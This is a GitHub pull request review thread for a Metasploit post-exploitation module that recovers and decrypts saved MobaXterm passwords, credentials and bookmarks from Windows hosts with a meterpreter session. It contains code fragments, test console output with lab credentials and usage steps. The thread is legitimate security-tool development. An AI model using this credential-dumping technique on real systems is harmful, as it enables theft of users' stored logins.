-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
MobaXterm #17009
MobaXterm #17009
Conversation
@@ -0,0 +1,72 @@ | |||
## Vulnerable Application | |||
|
|||
Any Windows host with a `meterpreter` session and MobaXtrem v20.6+ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Any Windows host with a `meterpreter` session and MobaXtrem v20.6+ | |
Any Windows host with a `meterpreter` session and MobaXterm v20.6+ |
This typo has been made in several places including the files names
register_options( | ||
[ | ||
OptString.new('MASTER_PASSWORD', [ false, 'If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically']), | ||
OptString.new('CONFIG_PATH', [ false, 'Specifies the config file path for MobaXterm']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a default path this normally installs to?
def pack_add(data) | ||
if is_86 | ||
addr = [data].pack('V') | ||
else | ||
addr = [data].pack('Q<') | ||
end | ||
return addr | ||
end | ||
|
||
def mem_write(data, length) | ||
pid = session.sys.process.open.pid | ||
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) | ||
mem = process.memory.allocate(length) | ||
process.memory.write(mem, data) | ||
return mem | ||
end | ||
|
||
def read_str(address, len, type) | ||
begin | ||
pid = session.sys.process.open.pid | ||
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) | ||
raw = process.memory.read(address, len) | ||
case type | ||
when 0 # unicode | ||
str_data = raw.gsub("\x00", '') | ||
when 1 # null terminated | ||
str_data = raw.unpack1('Z*') | ||
when 2 # raw data | ||
str_data = raw | ||
end | ||
rescue StandardError | ||
str_data = nil | ||
end | ||
return str_data || 'Error Decrypting' | ||
end | ||
|
||
# | ||
# RAILGUN HELPER FUNCTIONS | ||
# | ||
def is_86 | ||
pid = session.sys.process.open.pid | ||
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86' | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def pack_add(data) | |
if is_86 | |
addr = [data].pack('V') | |
else | |
addr = [data].pack('Q<') | |
end | |
return addr | |
end | |
def mem_write(data, length) | |
pid = session.sys.process.open.pid | |
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) | |
mem = process.memory.allocate(length) | |
process.memory.write(mem, data) | |
return mem | |
end | |
def read_str(address, len, type) | |
begin | |
pid = session.sys.process.open.pid | |
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) | |
raw = process.memory.read(address, len) | |
case type | |
when 0 # unicode | |
str_data = raw.gsub("\x00", '') | |
when 1 # null terminated | |
str_data = raw.unpack1('Z*') | |
when 2 # raw data | |
str_data = raw | |
end | |
rescue StandardError | |
str_data = nil | |
end | |
return str_data || 'Error Decrypting' | |
end | |
# | |
# RAILGUN HELPER FUNCTIONS | |
# | |
def is_86 | |
pid = session.sys.process.open.pid | |
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86' | |
end |
None of this seems to be used?
end | ||
aes = OpenSSL::Cipher.new('AES-256-ECB').encrypt | ||
aes.key = key | ||
new_iv = aes.update(iv) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Note for testing: Verify against openssl3
result | ||
end | ||
|
||
def gather_creads(config) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def gather_creads(config) | |
def gather_creds(config) |
end | ||
end | ||
|
||
def parser_bookmark(bookmarks) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def parser_bookmark(bookmarks) | |
def parse_bookmarks(bookmarks) |
next if user['AppData'].nil? | ||
|
||
ini_config_path = "#{user['MyDocs']}\\MobaXterm\\MobaXterm.ini" | ||
ini_config_path = datastore['CONFIG_PATH'] if datastore['CONFIG_PATH'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if there are multiple users but you have specified the CONFIG_PATH won't we be parsing this same file for every user?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@dwelch-r7 is correct here. @cn-kali-team if the config path is set to a specific user's configuration file, can we please skip iterating through every user in the system? Thank you 🙏
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@jheysel-r7 Wait a minute
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf6 post(windows/gather/credentials/moba_xterm) > set config_path C:\\Users\\FireEye\\Desktop\\MobaXterm.ini
config_path => C:\Users\FireEye\Desktop\MobaXterm.ini
msf6 post(windows/gather/credentials/moba_xterm) > run
[*] Gathering MobaXterm session information from WIN-79MR8QJM50N
[*] Specifies the config file path for MobaXterm C:\Users\FireEye\Desktop\MobaXterm.ini
[!] Parsing is not supported: #84#9%C:\Users\FireEye\Desktop%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24
%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #131#8%0%1009600%3%0%0%1%2%COM2 (ͨ˿ (COM2))#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Color
s_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #97#10%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #88#3%%0%-1%0%0%0%localhost%7100%1%0%1%0%657%336%0%0#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_
Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[+] Passwords stored in: /home/kali-team/.msf4/loot/20220927234026_default_192.168.80.128_host.moba_xterm_102077.txt
[+] MobaXterm Password
==================
Protocol Hostname Username Password
-------- -------- -------- --------
mobaserver mobauser 278804moba14071pass317387
[+] Credentials stored in: /home/kali-team/.msf4/loot/20220927234026_default_192.168.80.128_host.moba_xterm_791330.txt
[+] MobaXterm Credentials
=====================
CredentialsName Username Password
--------------- -------- --------
ftp 1212
ssh root admin
[+] Bookmarks stored in: /home/kali-team/.msf4/loot/20220927234026_default_192.168.80.128_host.moba_xterm_118109.txt
[+] MobaXterm Bookmarks
===================
BookmarksName Protocol ServerHost Port Credentials or Passwords
------------- -------- ---------- ---- ------------------------
ftp ftp ftp.asdas.com 21 asdas
msf telnet msf 23 msf
rdp (rdp) rdp rdp 3389 rdp
rsh rsh rdp.baid.com rsh #MobaFont
sftp sftp sftp.asdasd.com 22 asdasd
ssh ssh 127.0.0.1 22 [ssh]
telnet_test telnet telnet.kali-team.cn 23 admin
vnc vnc vnc.basbas.com 5900 -1
[*] Post module execution completed
print_good(pw_tbl.to_s) | ||
print_good(creds_tbl.to_s) | ||
print_good(bookmarks_tbl.to_s) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Along with printing these out can we store the creds in the db too?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I can't get the service and protocol corresponding to the account password, so I only save the information to a file, not to the database
eaddr = Rex::Text.pack_int64le(mem2) | ||
elen = Rex::Text.pack_int64le(ent.length) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Variables mem2
and ent
do not exist in the given context. I tried to resolve this issue but continued getting errors further on in execution. Could you please investigate this @cn-kali-team?
msf6 post(windows/gather/credentials/moba_xterm) > run
[*] Gathering MobaXterm session information from DESKTOP-BE1QFC9
[-] Post failed: NameError undefined local variable or method `mem2' for #<Module:post/windows/gather/credentials/moba_xterm datastore=[{"WORKSPACE"=>nil, "VERBOSE"=>true, "SESSION"=>6, "MASTER_PASSWORD"=>nil, "CONFIG_PATH"=>nil}]>
Did you mean? mem
[-] Call stack:
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:72:in `windows_unprotect'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:128:in `mobaxterm_crypto_safe'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:171:in `block in gather_password'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:166:in `each_key'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:166:in `gather_password'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:272:in `block in run'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:261:in `each'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:261:in `run'
[*] Post module execution completed
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sorry, I only tested the x32 operating system, but not the x64 operating system. Maybe this code is copied from modules/post/windows/gather/credentials/pulse_secure.rb
The decrypt of the secure.rb file decrypt_reg
function
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I saw a lot of places to use Windows's Crypt's decryption function, whether there is planned to join the built-in method
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@cn-kali-team Thank you so so much for all the effort and changes you've made so far. We really appreciate it. I've noticed a couple more issues that need addressing before landing:
-
The three tables (Password, Crendentials, Bookmarks) get printed once for every user. On system with many users this could make the output a bit hard to read. Would we be able to consolidated this so each table only gets printed once?
-
If a Master Password is specified - I don't think it makes sense to iterate through all the users on the system because different users can have different Master Passwords. I think this leads to inaccurate results for the other users on the system (see output below, I specified the Master Password for the Administrator user which is different that the Master Password for msfuser)
msf6 post(windows/gather/credentials/moba_xterm) > run
[*] Gathering MobaXterm session information from DESKTOP-8ATHH6O
[+] Passwords stored in: /Users/jheysel/.msf4/loot/20220928101756_default_172.16.199.131_host.moba_xterm_287104.txt
[+] MobaXterm Password
==================
Protocol Hostname Username Password
-------- -------- -------- --------
mobaserver mobauser �� ��O]d`F�2���{�9��S2�
[+] Credentials stored in: /Users/jheysel/.msf4/loot/20220928101756_default_172.16.199.131_host.moba_xterm_838512.txt
[+] MobaXterm Credentials
=====================
CredentialsName Username Password
--------------- -------- --------
msfuser msfuser �=E���J�
�
[+] Bookmarks stored in: /Users/jheysel/.msf4/loot/20220928101756_default_172.16.199.131_host.moba_xterm_294403.txt
[+] MobaXterm Bookmarks
===================
BookmarksName Protocol ServerHost Port Credentials or Passwords
------------- -------- ---------- ---- ------------------------
[+] Passwords stored in: /Users/jheysel/.msf4/loot/20220928101758_default_172.16.199.131_host.moba_xterm_908106.txt
[+] MobaXterm Password
==================
Protocol Hostname Username Password
-------- -------- -------- --------
mobaserver mobauser 119558moba115620pass115119
[+] Credentials stored in: /Users/jheysel/.msf4/loot/20220928101758_default_172.16.199.131_host.moba_xterm_178370.txt
[+] MobaXterm Credentials
=====================
CredentialsName Username Password
--------------- -------- --------
Administrator Administrator N0tpassword!
[+] Bookmarks stored in: /Users/jheysel/.msf4/loot/20220928101758_default_172.16.199.131_host.moba_xterm_688007.txt
[+] MobaXterm Bookmarks
===================
BookmarksName Protocol ServerHost Port Credentials or Passwords
------------- -------- ---------- ---- ------------------------
[*] Post module execution completed
- When a MasterPassword is not specified I'm seeing this error in the output:
[-] Post failed: ArgumentError key must be 32 bytes
[-] Call stack:
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:151:in `key='
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:151:in `mobaxterm_crypto_safe'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:188:in `block in gather_password'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:183:in `each_key'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:183:in `gather_password'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:276:in `entry'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:363:in `block in run'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:351:in `each'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:351:in `run'
[*] Post module execution completed
This is because on line 145, key is getting set to ""
, even though config['SessionP']
and data_ini
are both populated. Any idea what could be causing this? (Debug output from a breakpoint on line 150)
[12] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> config['SessionP']
=> "262222327780"
[13] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> data_ini
=> "\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8Cz\x00\xC0O\xC2\x97\xEB\x01\x00\x00\x00\xD2!\xFD\x92\xA7q\x9DE\x84\xBDJ\xE0\x91\xDB\xBB&\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00\x00Vf-?9\xF2B\xCE\xC1Y\xB7\x06\x12\x8EK\xFB\x8Ftb\x89\xBAt\xCE\x99\xAE\\\x92\x1D\xC4\xD4T\xA9\x00\x00\x00\x00\x0E\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\xEB\x8A\xDB\x00\xA8/ \x87\xB7\x0E\xEDo\xF0h\x80\x1A\x13\xE7\x01~\xE2\xE4\x1E\xE8\xF9ec\f\xF0\xAA\x1D\xCF`\x00\x00\x00\xA7S\xAB\t\xAF\x0EbE\xA7DN\x8C\xE8\xD4LW\xFE\xE2\xD6\x94\x9B)a\xFD\xCD\xE3\xED4\x8E\xF7]\f\xB1h\xFD\x1Ea\x93\xE8A\x1F\xFE\xD72\xAB\xE97\xC1\xFF\x9FL\xFE\xBB\xC3\x96\xA0X\x96\x18\x17V7\xA0.\xC2\xCBuS\x86c\x9E\xD4T;\x00G\x8F\x04\x85Y\x8E\x8BhS\xDD\xFBIW\x06\x81\x1A4x`\xDC\x06@\x00\x00\x00\xE8\x00\xC6\x17\x84~\x82\xBC*\x11\xF7e}\x06\xD5\x8BQ\xD62\xC8#\x99\f\x9A\xA0?4\xF1U\xBD\xD8\xDE\xBA\x06\xAC\x1D\x8Ed\xFEy)\x11\xD3\xC3D.\x97\x1D\xEA\x15^rQ\xD3 \xBE\x96\xD7@<^:R\""
[14] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> Rex::Text.decode_base64(windows_unprotect(config['SessionP'], data_ini))[0, 32]
=> ""
[15] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> key
=> ""
[16] pry(#<Msf::M
@cn-kali-team Thanks for making those improvements! 🙇 I'm still seeing failures when running in an Administrative session on a windows host with multiple regular user accounts. I'm not sure trying to run this module for every user on the system with Administrative SessionWe have the privileges required to retrieve all the data from Admin grab_user_profiles debug output
However when evaluating ret debug output
As you can see stack trace
It seems one user is not able to process another user's config file, I'm still not exactly sure what the root cause is, or if it can be fixed. Normal user session (
|
More testing is needed to decrypt the x64 approach to windows_unprotect. |
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
|
Release NotesThis module will determine if MobaXterm is installed on the target system and, if it is, it will try to dump all saved session information from the target. The passwords for these saved sessions will then be decrypted where possible. |
Oh, my God 😭 |
@cn-kali-team, is everything okay? Were there any more changes you were hoping to make before I landed this PR? |
I can't find the root of the problem. The first time I run the module I always get errors when testing the x64 architecture, but the second time it works fine again |
Hmm that's strange, I just retested the module on x64 architecture and I'm not seeing any errors. What version of windows are you testing on? I'm testing on |
Vulnerable Application
Any Windows host with a
meterpreter
session and MobaXtrem v20.6+installed. The following passwords will be searched for and recovered:
Installation Steps
General > MobaXtrem password management > Master Password setting
complete password setting, add the test account password to the certificate.
Verification Steps
meterpreter
session on a Windows host.run post/windows/gather/credentials/moba_xtrem
Options
MASTER_PASSWORD
CONFIG_PATH
Scenarios